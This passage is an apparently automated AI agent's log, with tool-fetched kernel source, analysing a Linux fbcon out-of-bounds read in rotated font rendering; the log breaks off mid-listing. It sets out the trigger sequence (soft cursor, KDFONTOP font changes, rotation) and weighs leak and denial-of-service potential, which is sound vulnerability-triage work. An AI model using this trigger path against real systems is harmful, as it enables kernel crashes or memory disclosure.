2115: y_diff = info->var.yres - var.yres;
2116: if (x_diff < 0 || x_diff > virt_fw ||
2117: y_diff < 0 || y_diff > virt_fh) {
2118: const struct fb_videomode *mode;
2119:
2120: pr_debug("attempting resize %ix%i\n", var.xres, var.yres);
2121: mode = fb_find_best_mode(&var, &info->modelist);
2122: if (mode == NULL)
2123: return -EINVAL;
2124: display_to_var(&var, p);
2125: fb_videomode_to_var(&var, mode);
2126:
2127: if (virt_w > var.xres/virt_fw || virt_h > var.yres/virt_fh)
2128: return -EINVAL;
2129:
2130: pr_debug("resize now %ix%i\n", var.xres, var.yres);
2131: if (con_is_visible(vc) && vc->vc_mode == KD_TEXT) {
2132: var.activate = FB_ACTIVATE_NOW |
2133: FB_ACTIVATE_FORCE;
2134: fb_set_var(info, &var);
2135: }
2136: var_to_display(p, &info->var, info);
2137: par->var = info->var;
2138: }
2139: updatescrollmode(p, info, vc);
2140: return 0;
2141: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 36/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 27750
output: 42
thoughts: 38
Thoughts: Okay, here's my interpretation of that:
**My Brain's Decoding of fb_set_var's Internal Operations**
Right, so `fb_set_var` is clearly the key function here β the one that's actually changing something in the frame buffer. But it's not doing the *actual* work directly. It's cleverly calling `fb_notifier_call_chain`. This `fb_notifier_call_chain` function is obviously a central piece of the puzzle, a general mechanism for broadcasting changes related to the framebuffer. It seems to be the part thatβs managing a notification system, allowing other parts of the system to subscribe to or be informed of framebuffer changes.
And the specific event being triggered by `fb_set_var` is a `FB_EVENT_MODE_CHANGE`. That's important, as it immediately tells me what the function's objective is. The `&event` suggests that some sort of structure or data related to the mode change, likely containing information about the new resolution, color depth, refresh rate, etc., is being passed along to this notification system.
The interesting piece is that it specifically triggers `fbcon_modechanged`. This is the core part, the signal from `fb_set_var` that triggers the update. I would expect that this callback, `fbcon_modechanged`, is the function that is responsible for updating the console itself (or at least making it aware of changes) based on the new framebuffer mode. That's likely the function that's going to actually redraw the console to match the new screen configuration. So, `fb_set_var` sets the scene, `fb_notifier_call_chain` handles the notification, and `fbcon_modechanged` is the workhorse actually making the visual adjustments.
|
| 37/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_modechanged]
Results: map[SourceCode:2630: static void fbcon_modechanged(struct fb_info *info)
2631: {
2632: struct fbcon_par *par = info->fbcon_par;
2633: struct vc_data *vc;
2634: struct fbcon_display *p;
2635: int rows, cols;
2636:
2637: if (!par || par->currcon < 0)
2638: return;
2639: vc = vc_cons[par->currcon].d;
2640: if (vc->vc_mode != KD_TEXT ||
2641: fbcon_info_from_console(par->currcon) != info)
2642: return;
2643:
2644: /*
2645: * Clear the selection before switching bitops. Without this, the
2646: * clear_selection() inside vc_resize() below repaints the highlighted
2647: * cells through the new bitops while the console geometry(vc_rows/vc_cols)
2648: * has not been updated to match, so the repaint is computed from a
2649: * half-switched geometry and overflows the framebuffer address.
2650: * Pre-clearing makes that repaint a no-op.
2651: */
2652: clear_selection();
2653:
2654: p = &fb_display[vc->vc_num];
2655: set_blitting_type(vc, info);
2656:
2657: /*
2658: * Rebuild par->rotated.buf for the new rotation now that bitops have
2659: * switched. The new putcs/cursor ops read this buffer; if it is still
2660: * sized for the old rotation, fbcon_putcs() and the cursor path reached
2661: * via update_screen() below overflow it. Mirrors fbcon_switch(); fall
2662: * back to unrotated rendering on allocation failure.
2663: */
2664: if (par->bitops->rotate_font && par->bitops->rotate_font(info, vc)) {
2665: par->rotate = FB_ROTATE_UR;
2666: set_blitting_type(vc, info);
2667: }
2668:
2669: if (con_is_visible(vc)) {
2670: var_to_display(p, &info->var, info);
2671: cols = FBCON_SWAP(par->rotate, info->var.xres, info->var.yres);
2672: rows = FBCON_SWAP(par->rotate, info->var.yres, info->var.xres);
2673: cols /= vc->vc_font.width;
2674: rows /= vc->vc_font.height;
2675: vc_resize(vc, cols, rows);
2676: updatescrollmode(p, info, vc);
2677: scrollback_max = 0;
2678: scrollback_current = 0;
2679:
2680: if (fbcon_is_active(vc, info)) {
2681: par->var.xoffset = par->var.yoffset = p->yscroll = 0;
2682: par->bitops->update_start(info);
2683: }
2684:
2685: fbcon_set_palette(vc, color_table);
2686: update_screen(vc);
2687: }
2688: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 38/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 29226
output: 38
thoughts: 568
Thoughts: **Analyzing a Font Rotation Memory Corruption Vulnerability**
Okay, so I'm looking at this font handling code, and I think I've spotted something nasty. It seems like we have a potential out-of-bounds read lurking in the `fbcon` driver related to font rotations and size changes. Let me walk through this.
It looks like the key is `fbcon_modechanged` calling `fbcon_rotate_font` through the `par->bitops->rotate_font(info, vc)` path. But, `fbcon_modechanged` only gets invoked if the framebuffer's virtual resolution is changed, which in turn happens if we call `fb_set_var`, specifically if the virtual width or height of the framebuffer changes relative to the actual width or height. Now, if the font's width and height don't change, `fbcon_do_set_font` sets `resize` to `false`. When `resize` is `false`, `vc_resize` *isn't* called. This is the crucial point!
So, if `resize` is `false`, then `fbcon_modechanged` is *not* called, and therefore, `fbcon_rotate_font` is *not* called. Consequently, `par->rotated.buf` doesn't get reallocated. However, even without a reallocation, `vc->vc_font.charcount` gets updated to, say, 512, and `vc->vc_hi_font_mask` also gets updated. Then `update_screen(vc)` gets called, which redraws the screen.
Here's the problem: when `update_screen` goes to redraw, it uses `cw_putcs_aligned`, which then uses the new `vc_hi_font_mask` (0x1ff) to index into `par->rotated.buf`. The thing is, `par->rotated.buf` was allocated for a certain number of characters based on an *earlier* `vc->vc_font.charcount`. If the previous font had 256 characters, the buffer was allocated for only 256 characters. This creates an out-of-bounds read when we try to index into the buffer using 0x1ff, potentially accessing memory beyond the allocated region!
Let's quickly verify this step by step:
1. Start with a 256-char font (width W, height H).
2. Rotate the screen. `par->rotated.buf` is allocated for 256 chars.
3. Set a 512-char font (same width W, height H).
4. `fbcon_do_set_font` sees `resize = false` (same W and H).
5. It updates `vc->vc_font.charcount = 512` and `vc->vc_hi_font_mask = 0x1ff`.
6. It calls `update_screen(vc)`.
7. `update_screen` redraws, using `cw_putcs_aligned`.
8. `cw_putcs_aligned` reads up to 512 characters from `par->rotated.buf`.
9. Boom. Out-of-bounds read!
The root cause seems clear: `par->rotated.buf`'s size is determined by the *previous* `vc->vc_font.charcount`, but the subsequent screen redraws use the *new* `vc_hi_font_mask`, which is based on the new character count. I need to dig into `font_data_rotate` to see what's happening there to confirm how the reallocation or lack thereof is handled. This is definitely a vulnerability.
|
| 39/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:lib/fonts/font_rotate.c Name:font_data_rotate]
Results: map[SourceCode: 177: /**
178: * font_data_rotate - Rotate font data by multiples of 90Β°
179: * @fd: The font data to rotate
180: * @width: The glyph width in bits per scanline
181: * @height: The number of scanlines in the glyph
182: * @charcount: The number of glyphs in the font
183: * @steps: Number of rotation steps of 90Β°
184: * @buf: Preallocated output buffer; can be NULL
185: * @bufsize: The size of @buf in bytes; can be NULL
186: *
187: * The parameters @width and @height refer to the visible number of pixels
188: * and scanlines in a single glyph. The number of glyphs is given in @charcount.
189: * Rotation happens in steps of 90Β°. The @steps parameter can have any value,
190: * but only 0 to 3 produce distinct results. With 4 or higher, a full rotation
191: * has been performed. You can pass any value for @steps and the helper will
192: * perform the appropriate rotation. Note that the returned buffer is not
193: * compatible with font_data_t. It only contains glyph data in the same format
194: * as returned by font_data_buf(). Callers are responsible to free the returned
195: * buffer with kfree(). Font rotation typically happens when displays get
196: * re-oriented. To avoid unnecessary re-allocation of the memory buffer, the
197: * caller can pass in an earlier result buffer in @buf for reuse. The old and
198: * new buffer sizes are given and retrieved by the caller in @bufsize. The
199: * allocation semantics are compatible with krealloc().
200: *
201: * Returns:
202: * A buffer with rotated glyphs on success, or an error pointer otherwise
203: */
204: unsigned char *font_data_rotate(font_data_t *fd, unsigned int width, unsigned int height,
205: unsigned int charcount, unsigned int steps,
206: unsigned char *buf, size_t *bufsize)
207: {
208: const unsigned char *src = font_data_buf(fd);
209: unsigned int s_cellsize = font_glyph_size(width, height);
210: unsigned int d_cellsize, i;
211: unsigned char *dst;
212: size_t size;
213:
214: steps %= 4;
215:
216: switch (steps) {
217: case 0:
218: case 2:
219: d_cellsize = s_cellsize;
220: break;
221: case 1:
222: case 3:
223: d_cellsize = font_glyph_size(height, width); /* flip width/height */
224: break;
225: }
226:
227: if (check_mul_overflow(charcount, d_cellsize, &size))
228: return ERR_PTR(-EINVAL);
229:
230: if (!buf || !bufsize || size > *bufsize) {
231: dst = kmalloc_array(charcount, d_cellsize, GFP_KERNEL);
232: if (!dst)
233: return ERR_PTR(-ENOMEM);
234:
235: kfree(buf);
236: buf = dst;
237: if (bufsize)
238: *bufsize = size;
239: } else {
240: dst = buf;
241: }
242:
243: switch (steps) {
244: case 0:
245: memcpy(dst, src, size);
246: break;
247: case 1:
248: memset(dst, 0, size);
249: for (i = 0; i < charcount; ++i) {
250: __font_glyph_rotate_90(src, width, height, dst);
251: src += s_cellsize;
252: dst += d_cellsize;
253: }
254: break;
255: case 2:
256: memset(dst, 0, size);
257: for (i = 0; i < charcount; ++i) {
258: __font_glyph_rotate_180(src, width, height, dst);
259: src += s_cellsize;
260: dst += d_cellsize;
261: }
262: break;
263: case 3:
264: memset(dst, 0, size);
265: for (i = 0; i < charcount; ++i) {
266: __font_glyph_rotate_270(src, width, height, dst);
267: src += s_cellsize;
268: dst += d_cellsize;
269: }
270: break;
271: }
272:
273: return buf;
274: }
SourceFile:lib/fonts/font_rotate.c]
|
| 40/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 32183
output: 36
thoughts: 596
Thoughts: **Analyzing the Font Rotation Vulnerability**
Okay, let's break this down. `font_data_rotate` allocates memory based on `charcount` multiplied by `d_cellsize`. If `charcount` is 256, it's `256 * d_cellsize`. Then, the system sets a 512-char font with the same dimensions. `fbcon_do_set_font` updates `vc->vc_font.charcount` to 512, but because resize isn't happening, it doesn't re-rotate the font. Then `update_screen` gets triggered, and that's where things get interesting.
`update_screen` redraws the screen, reading characters from the screen buffer. If the buffer contains characters with the 9th bit set (meaning the character index is greater than 255), `cw_putcs_aligned` will try to read from `par->rotated.buf + (char_index) * cellsize`. Since `char_index` can be up to 511, this could easily read past the end of `par->rotated.buf`.
The key question is: how does the screen buffer *get* characters with the 9th bit set? The reproducer does a couple of `ioctl` calls to set the font and a `write` to trigger the rotation. Then, it sets the font to a larger font.
The reproducer doesn't *explicitly* write characters > 255 to the screen, which is confusing. But, `vc->vc_hi_font_mask` is set to 0x1ff, which means it should use the 9th bit to interpret the character data.
Aha! `cw_putcs_aligned` uses `scr_readw(s++)`. The read then is masked. It reads a 16-bit word where the lower bits are the character and the upper bits are attributes (color, etc).
If `scr_readw(s++)` has the 9th bit set, the read will be out of bounds. The crucial part here is how `scr_readw` works. It's reading a 16-bit word. The lower 8 or 9 bits (depending on `vc_hi_font_mask`) are the *character* index. The higher bits are attributes. If `vc_hi_font_mask` were 0, the 9th bit would be part of the attributes, which is a different use case altogether. I need to understand exactly how the attributes are stored to confirm how this is exploited.
|
| 41/2 |
2026/08/12 15:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/vt_kern.h Name:build_attr]
Results: map[SourceCode: 678: static u8 build_attr(struct vc_data *vc, u8 _color,
679: enum vc_intensity _intensity, bool _blink, bool _underline,
680: bool _reverse, bool _italic)
681: {
682: if (vc->vc_sw->con_build_attr)
683: return vc->vc_sw->con_build_attr(vc, _color, _intensity,
684: _blink, _underline, _reverse, _italic);
685:
686: /*
687: * ++roman: I completely changed the attribute format for monochrome
688: * mode (!can_do_color). The formerly used MDA (monochrome display
689: * adapter) format didn't allow the combination of certain effects.
690: * Now the attribute is just a bit vector:
691: * Bit 0..1: intensity (0..2)
692: * Bit 2 : underline
693: * Bit 3 : reverse
694: * Bit 7 : blink
695: */
696: {
697: u8 a = _color;
698: if (!vc->vc_can_do_color)
699: return _intensity |
700: (_italic << 1) |
701: (_underline << 2) |
702: (_reverse << 3) |
703: (_blink << 7);
704: if (_italic)
705: a = (a & 0xF0) | vc->vc_itcolor;
706: else if (_underline)
707: a = (a & 0xf0) | vc->vc_ulcolor;
708: else if (_intensity == VCI_HALF_BRIGHT)
709: a = (a & 0xf0) | vc->vc_halfcolor;
710: if (_reverse)
711: a = (a & 0x88) | (((a >> 4) | (a << 4)) & 0x77);
712: if (_blink)
713: a ^= 0x80;
714: if (_intensity == VCI_BOLD)
715: a ^= 0x08;
716: if (vc->vc_hi_font_mask == 0x100)
717: a <<= 1;
718: return a;
719: }
720: }
SourceFile:drivers/tty/vt/vt.c]
|
| 42/2 |
2026/08/12 15:51 |
llm |
expert |
0m
Model:
Tokens:
input: 34126
output: 40
thoughts: 126
Thoughts: **Examining the Font Handling Logic**
Okay, so I'm looking at this `fbcon_do_set_font` function, and something's immediately jumping out at me. I'm seeing this conditional check: `vc->vc_hi_font_mask` is `0x100`? That feels... specific. Why that value? I need to understand the implications here.
And based on the C code, it's clear the mask is controlling if a "high font" is enabled. If it is enabled, and the character count is 256, it disables the high font. Otherwise, if it's disabled and the character count is 512, it enables the high font. That seems straightforward enough in terms of what it *does*. But *why* these particular character counts? And what does `set_vc_hi_font` actually do under the hood? I need to drill down into that function to understand the mechanics and the intended behavior here. I'm going to check how the high font is set. This might have an important impact on how we process the characters.
|
| 43/2 |
2026/08/12 15:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:set_vc_hi_font]
Results: map[SourceCode:2339: /* set/clear vc_hi_font_mask and update vc attrs accordingly */
2340: static void set_vc_hi_font(struct vc_data *vc, bool set)
2341: {
2342: if (!set) {
2343: vc->vc_hi_font_mask = 0;
2344: if (vc->vc_can_do_color) {
2345: vc->vc_complement_mask >>= 1;
2346: vc->vc_s_complement_mask >>= 1;
2347: }
2348:
2349: /* ++Edmund: reorder the attribute bits */
2350: if (vc->vc_can_do_color) {
2351: unsigned short *cp =
2352: (unsigned short *) vc->vc_origin;
2353: int count = vc->vc_screenbuf_size / 2;
2354: unsigned short c;
2355: for (; count > 0; count--, cp++) {
2356: c = scr_readw(cp);
2357: scr_writew(((c & 0xfe00) >> 1) |
2358: (c & 0xff), cp);
2359: }
2360: c = vc->vc_video_erase_char;
2361: vc->vc_video_erase_char =
2362: ((c & 0xfe00) >> 1) | (c & 0xff);
2363: vc->vc_attr >>= 1;
2364: }
2365: } else {
2366: vc->vc_hi_font_mask = 0x100;
2367: if (vc->vc_can_do_color) {
2368: vc->vc_complement_mask <<= 1;
2369: vc->vc_s_complement_mask <<= 1;
2370: }
2371:
2372: /* ++Edmund: reorder the attribute bits */
2373: {
2374: unsigned short *cp =
2375: (unsigned short *) vc->vc_origin;
2376: int count = vc->vc_screenbuf_size / 2;
2377: unsigned short c;
2378: for (; count > 0; count--, cp++) {
2379: unsigned short newc;
2380: c = scr_readw(cp);
2381: if (vc->vc_can_do_color)
2382: newc =
2383: ((c & 0xff00) << 1) | (c &
2384: 0xff);
2385: else
2386: newc = c & ~0x100;
2387: scr_writew(newc, cp);
2388: }
2389: c = vc->vc_video_erase_char;
2390: if (vc->vc_can_do_color) {
2391: vc->vc_video_erase_char =
2392: ((c & 0xff00) << 1) | (c & 0xff);
2393: vc->vc_attr <<= 1;
2394: } else
2395: vc->vc_video_erase_char = c & ~0x100;
2396: }
2397: }
2398: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 44/2 |
2026/08/12 15:51 |
llm |
expert |
0m
Model:
Tokens:
input: 35530
output: 37
thoughts: 862
Thoughts: **Analyzing the Potential Vulnerability in `set_vc_hi_font`**
Okay, so `set_vc_hi_font` modifies the screen buffer, that much is clear. The key is this attribute shifting - it shifts the attributes left by one bit. This should leave the ninth bit (0x100) clear. If the index remains less than 256, then that makes sense, as the glyphs will still be within bounds. However, what if a user starts writing after `set_vc_hi_font`? Or using an escape sequence greater than 255?
Wait, hold on, the reproducer isn't doing that, right? It's just calling `ioctl(fd, KDFONTOP, &cfo)` twice with increasing character counts and rotating. Actually, there is an escape sequence involved to enable the software cursor. This might be important because `hide_softcursor` and `redraw_screen` would then do something, right?
I need to focus on `cw_putcs_aligned` again. The code uses `vc->vc_hi_font_mask ? 0x1ff : 0xff` as a mask. If `charmask` is `0x1ff`, and `scr_readw(s++)` has the 9th bit set, then the code will read out of bounds. Does it? With `vc_hi_font_mask` set to 0x100, `charmask` becomes 0x1ff.
When `set_vc_hi_font` shifts the attributes, the 9th bit is cleared. So the character index should be < 256. But wait, what if `scr_readw(s++)` contains the cursor? The cursor might be drawn in `fbcon_putcs` or `cw_putcs`, right?
Ah, right, looking at the stack trace: `cw_putcs_aligned` is called by `cw_putcs`, which is called by `fbcon_putcs`. `hide_softcursor` is also involved. `fbcon_do_set_font` is being called to. So `hide_softcursor` is definitely something to check.
|
| 45/2 |
2026/08/12 15:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:hide_softcursor]
Results: map[SourceCode: 867: static void hide_softcursor(struct vc_data *vc)
868: {
869: if (softcursor_original != -1) {
870: scr_writew(softcursor_original, (u16 *)vc->vc_pos);
871: if (con_should_update(vc))
872: con_putc(vc, softcursor_original, vc->state.y,
873: vc->state.x);
874: softcursor_original = -1;
875: }
876: }
SourceFile:drivers/tty/vt/vt.c]
|
| 46/2 |
2026/08/12 15:51 |
llm |
expert |
0m
Model:
Tokens:
input: 37101
output: 37
thoughts: 51
Thoughts: Okay, here's my interpretation of those thoughts, framed as my own:
**Analyzing the Soft Cursor Implementation**
Alright, so `softcursor_original`. That's where we stash the original character *before* the software cursor gets overlaid, right? That makes perfect sense. The whole point of a software cursor is to temporarily alter what's *displayed* at the cursor's location, and this variable is crucial for restoring the original character when the cursor moves or is hidden. It's the key to making the cursor non-destructive.
So, the software cursor *modifies* the character on the screen when it's drawn, and we need a way to remember what was there so we can put it back later. Now, let's take a look at `add_softcursor`. That's where the magic of the drawing happens, isn't it? I need to understand how *that* function uses `softcursor_original`. This variable is critical to making the cursor implementation work as expected. Let's see how it's handled.
|
| 47/2 |
2026/08/12 15:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:add_softcursor]
Results: map[SourceCode: 845: static void add_softcursor(struct vc_data *vc)
846: {
847: int i = scr_readw((u16 *) vc->vc_pos);
848: u32 type = vc->vc_cursor_type;
849:
850: if (!(type & CUR_SW))
851: return;
852: if (softcursor_original != -1)
853: return;
854: softcursor_original = i;
855: i |= CUR_SET(type);
856: i ^= CUR_CHANGE(type);
857: if ((type & CUR_ALWAYS_BG) &&
858: (softcursor_original & CUR_BG) == (i & CUR_BG))
859: i ^= CUR_BG;
860: if ((type & CUR_INVERT_FG_BG) && (i & CUR_FG) == ((i & CUR_BG) >> 4))
861: i ^= CUR_FG;
862: scr_writew(i, (u16 *)vc->vc_pos);
863: if (con_should_update(vc))
864: con_putc(vc, i, vc->state.y, vc->state.x);
865: }
SourceFile:drivers/tty/vt/vt.c]
|
| 48/2 |
2026/08/12 15:51 |
llm |
expert |
0m
Model:
Tokens:
input: 37807
output: 43
thoughts: 1049
Thoughts: **The Soft Cursor's Subtle Sabotage**
Okay, let me break this down. It all hinges on how the soft cursor interacts with font changes, specifically high-intensity fonts. My brain just started firing, and I think I've got it. It's an out-of-bounds read, plain and simple.
Here's the chain: `softcursor_original` is saved *before* `set_vc_hi_font` is called. That's the crux of the issue. When the font changes, `fbcon_do_set_font` triggers a cascade of calls: `update_screen`, `redraw_screen`, and ultimately, `hide_cursor`. Within `hide_cursor` lies the culprit: `hide_softcursor`. This function *restores* `softcursor_original` and then calls `con_putc`.
The problem? `softcursor_original` was captured *before* the font got its high-intensity makeover. Before `set_vc_hi_font`, `vc_hi_font_mask` was 0. So the attributes are in the *old* format. In the *old* format, the 9th bit (0x100) could be set if the background color or other attributes had that bit set!
Let's look at `build_attr` to verify. The attribute byte `a` is shifted left by 8 bits to form the upper byte of the 16-bit word, with `vc_hi_font_mask` set to 0. So bit 0 of `a` is the lowest bit of the foreground color (or intensity, etc.). If the foreground color has bit 0 set (e.g., color 1, 3, 5, 7, 9, 11, 13, 15), then the 9th bit of the 16-bit word will be 1!
Now, when `set_vc_hi_font` is called, it iterates through the screen buffer, shifts the attributes left by 1 bit, clearing the 9th bit. BUT, and this is crucial, it does NOT update `softcursor_original`! So `softcursor_original` still has the 9th bit set, because of the original foreground color, and that's the heart of the problem.
`hide_softcursor` then writes this corrupted `softcursor_original` to the screen buffer and calls `con_putc`. `con_putc` calls `fbcon_putcs`, which calls `cw_putcs_aligned`. `cw_putcs_aligned` uses `charmask = 0x1ff`.
Since the 9th bit is set, the character index is calculated as `char_index | 0x100`. So, effectively, the routine tries to access a character index >= 256. *But* `par->rotated.buf` was allocated for only 256 characters! This is the out-of-bounds read! The size of this out-of-bounds read is `vc->vc_font.width` bytes per scanline, for `vc->vc_font.height` scanlines. The data from the out-of-bounds read is written to `dst`. I need to figure out the origin of `dst`.
|
| 49/2 |
2026/08/12 15:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_cw.c Name:cw_putcs]
Results: map[SourceCode: 114: static void cw_putcs(struct vc_data *vc, struct fb_info *info,
115: const unsigned short *s, int count, int yy, int xx,
116: int fg, int bg)
117: {
118: struct fb_image image;
119: struct fbcon_par *par = info->fbcon_par;
120: u32 width = font_glyph_pitch(vc->vc_font.height);
121: u32 cellsize = width * vc->vc_font.width;
122: u32 maxcnt = info->pixmap.size/cellsize;
123: u32 scan_align = info->pixmap.scan_align - 1;
124: u32 buf_align = info->pixmap.buf_align - 1;
125: u32 cnt, pitch, size;
126: u32 attribute = get_attribute(info, scr_readw(s));
127: u8 *dst, *buf = NULL;
128: u32 vxres = GETVXRES(par->p, info);
129:
130: if (!par->rotated.buf)
131: return;
132:
133: image.fg_color = fg;
134: image.bg_color = bg;
135: image.dx = vxres - ((yy + 1) * vc->vc_font.height);
136: image.dy = xx * vc->vc_font.width;
137: image.width = vc->vc_font.height;
138: image.depth = 1;
139:
140: if (attribute) {
141: buf = kmalloc(cellsize, GFP_KERNEL);
142: if (!buf)
143: return;
144: }
145:
146: while (count) {
147: if (count > maxcnt)
148: cnt = maxcnt;
149: else
150: cnt = count;
151:
152: image.height = vc->vc_font.width * cnt;
153: pitch = ((image.width + 7) >> 3) + scan_align;
154: pitch &= ~scan_align;
155: size = pitch * image.height + buf_align;
156: size &= ~buf_align;
157: dst = fb_get_buffer_offset(info, &info->pixmap, size);
158: image.data = dst;
159: cw_putcs_aligned(vc, info, s, attribute, cnt, pitch,
160: width, cellsize, &image, buf, dst);
161: image.dy += image.height;
162: count -= cnt;
163: s += cnt;
164: }
165:
166: /* buf is always NULL except when in monochrome mode, so in this case
167: it's a gain to check buf against NULL even though kfree() handles
168: NULL pointers just fine */
169: if (unlikely(buf))
170: kfree(buf);
171:
172: }
SourceFile:drivers/video/fbdev/core/fbcon_cw.c]
|
| 50/2 |
2026/08/12 15:51 |
llm |
expert |
0m
Model:
Tokens:
input: 40588
output: 40
thoughts: 1119
Thoughts: **Analyzing the Vulnerability: Out-of-Bounds Read in Framebuffer Operations**
Okay, let's break this down. My thought process is centered on understanding this potential out-of-bounds read and its implications.
First, I see `dst` is calculated using `fb_get_buffer_offset` and then the code copies data from `par->rotated.buf` to `dst` using `cw_putcs_aligned` and `__fb_pad_aligned_buffer`, ultimately writing to the framebuffer via `info->fbops->fb_imageblit`. Crucially, this `par->rotated.buf` data is the source of a potential out-of-bounds access. The key question immediately arises: can this out-of-bounds data be read back? If so, this opens a window for an information leak.
I quickly check how to access framebuffer data. I know `/dev/fb0` is the standard device. Users in the `video` group typically have read access, but what about unprivileged users? That's a potential blocker. However, even if they can't directly read `/dev/fb0`, the data *is* displayed on the screen as pixels. Could the attacker read the screen contents? I consider `vcsa` but realize the framebuffer and `vc_screenbuf` are distinct. If an attacker has `/dev/fb0` read access, they can leak kernel memory, which is a significant threat: KASLR bypass or disclosure of sensitive data. If not, it becomes a "blind" leak, unless the attacker is physically present.
Next, I consider the consequences of an out-of-bounds *read*. If the read accesses an unmapped page, a page fault will occur, leading to a kernel panic. The KASAN report confirms this, indicating a slab-out-of-bounds read, and in a production system (without KASAN), this will be a crash. Thus, this is a denial-of-service vulnerability at minimum.
Now, let's make sure the read is not a write and that we are not missing anything. I scrutinize the code again, focusing on `__fb_pad_aligned_buffer` which reads from `src` and writes to `dst`. I verify that `dst` is correctly sized based on `image.height` and `pitch`, eliminating the possibility of an out-of-bounds *write*.
Finally, I investigate the attack surface. The reproducer uses a specific sequence of operations: opening `/dev/tty1`, activating the virtual terminal, sending escape sequences, and using `KDFONTOP` ioctls, concluding with rotating the framebuffer. The question is, can an unprivileged user trigger this? I need to analyze the permissions required for these operations. `/dev/tty1` usually belongs to `root:tty`, so I must assess access based on the login state of the user. I conclude, that a user who is logged in locally, owns `/dev/tty1` and could trigger the exploit. An unprivileged user logged in via SSH would need additional permissions, which are context-specific. I'll need to check the permissions on the `KDFONTOP` ioctl call.
|
| 51/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt_ioctl.c Name:vt_k_ioctl]
Results: map[SourceCode: 283: static int vt_k_ioctl(struct tty_struct *tty, unsigned int cmd,
284: unsigned long arg, bool perm)
285: {
286: struct vc_data *vc = tty->driver_data;
287: void __user *up = (void __user *)arg;
288: unsigned int console = vc->vc_num;
289: int ret;
290:
291: switch (cmd) {
292: case KIOCSOUND:
293: if (!perm)
294: return -EPERM;
295: /*
296: * The use of PIT_TICK_RATE is historic, it used to be
297: * the platform-dependent CLOCK_TICK_RATE between 2.6.12
298: * and 2.6.36, which was a minor but unfortunate ABI
299: * change. kd_mksound is locked by the input layer.
300: */
301: if (arg)
302: arg = PIT_TICK_RATE / arg;
303: kd_mksound(arg, 0);
304: break;
305:
306: case KDMKTONE:
307: if (!perm)
308: return -EPERM;
309: {
310: unsigned int ticks, count;
311:
312: /*
313: * Generate the tone for the appropriate number of ticks.
314: * If the time is zero, turn off sound ourselves.
315: */
316: ticks = msecs_to_jiffies((arg >> 16) & 0xffff);
317: count = ticks ? (arg & 0xffff) : 0;
318: if (count)
319: count = PIT_TICK_RATE / count;
320: kd_mksound(count, ticks);
321: break;
322: }
323:
324: case KDGKBTYPE:
325: /*
326: * this is naΓ―ve.
327: */
328: return put_user(KB_101, (char __user *)arg);
329:
330: /*
331: * These cannot be implemented on any machine that implements
332: * ioperm() in user level (such as Alpha PCs) or not at all.
333: *
334: * XXX: you should never use these, just call ioperm directly..
335: */
336: #ifdef CONFIG_X86
337: case KDADDIO:
338: case KDDELIO:
339: /*
340: * KDADDIO and KDDELIO may be able to add ports beyond what
341: * we reject here, but to be safe...
342: *
343: * These are locked internally via sys_ioperm
344: */
345: if (arg < GPFIRST || arg > GPLAST)
346: return -EINVAL;
347:
348: return ksys_ioperm(arg, 1, (cmd == KDADDIO)) ? -ENXIO : 0;
349:
350: case KDENABIO:
351: case KDDISABIO:
352: return ksys_ioperm(GPFIRST, GPNUM,
353: (cmd == KDENABIO)) ? -ENXIO : 0;
354: #endif
355:
356: /* Linux m68k/i386 interface for setting the keyboard delay/repeat rate */
357:
358: case KDKBDREP:
359: {
360: struct kbd_repeat kbrep;
361:
362: if (!capable(CAP_SYS_TTY_CONFIG))
363: return -EPERM;
364:
365: if (copy_from_user(&kbrep, up, sizeof(struct kbd_repeat)))
366: return -EFAULT;
367:
368: ret = kbd_rate(&kbrep);
369: if (ret)
370: return ret;
371: if (copy_to_user(up, &kbrep, sizeof(struct kbd_repeat)))
372: return -EFAULT;
373: break;
374: }
375:
376: case KDSETMODE: {
377: if (!perm)
378: return -EPERM;
379:
380: guard(console_lock)();
381: return vt_kdsetmode(vc, arg);
382: }
383: case KDGETMODE:
384: return put_user(vc->vc_mode, (int __user *)arg);
385:
386: case KDMAPDISP:
387: case KDUNMAPDISP:
388: /*
389: * these work like a combination of mmap and KDENABIO.
390: * this could be easily finished.
391: */
392: return -EINVAL;
393:
394: case KDSKBMODE:
395: if (!perm)
396: return -EPERM;
397: ret = vt_do_kdskbmode(console, arg);
398: if (ret)
399: return ret;
400: tty_ldisc_flush(tty);
401: break;
402:
403: case KDGKBMODE:
404: return put_user(vt_do_kdgkbmode(console), (int __user *)arg);
405:
406: /* this could be folded into KDSKBMODE, but for compatibility
407: reasons it is not so easy to fold KDGKBMETA into KDGKBMODE */
408: case KDSKBMETA:
409: if (!perm)
410: return -EPERM;
411: return vt_do_kdskbmeta(console, arg);
412:
413: case KDGKBMETA:
414: /* FIXME: should review whether this is worth locking */
415: return put_user(vt_do_kdgkbmeta(console), (int __user *)arg);
416:
417: case KDGETKEYCODE:
418: case KDSETKEYCODE:
419: if(!capable(CAP_SYS_TTY_CONFIG))
420: perm = 0;
421: return vt_do_kbkeycode_ioctl(cmd, up, perm);
422:
423: case KDGKBENT:
424: case KDSKBENT:
425: return vt_do_kdsk_ioctl(cmd, up, perm, console);
426:
427: case KDGKBSENT:
428: case KDSKBSENT:
429: return vt_do_kdgkb_ioctl(cmd, up, perm);
430:
431: /* Diacritical processing. Handled in keyboard.c as it has
432: to operate on the keyboard locks and structures */
433: case KDGKBDIACR:
434: case KDGKBDIACRUC:
435: case KDSKBDIACR:
436: case KDSKBDIACRUC:
437: return vt_do_diacrit(cmd, up, perm);
438:
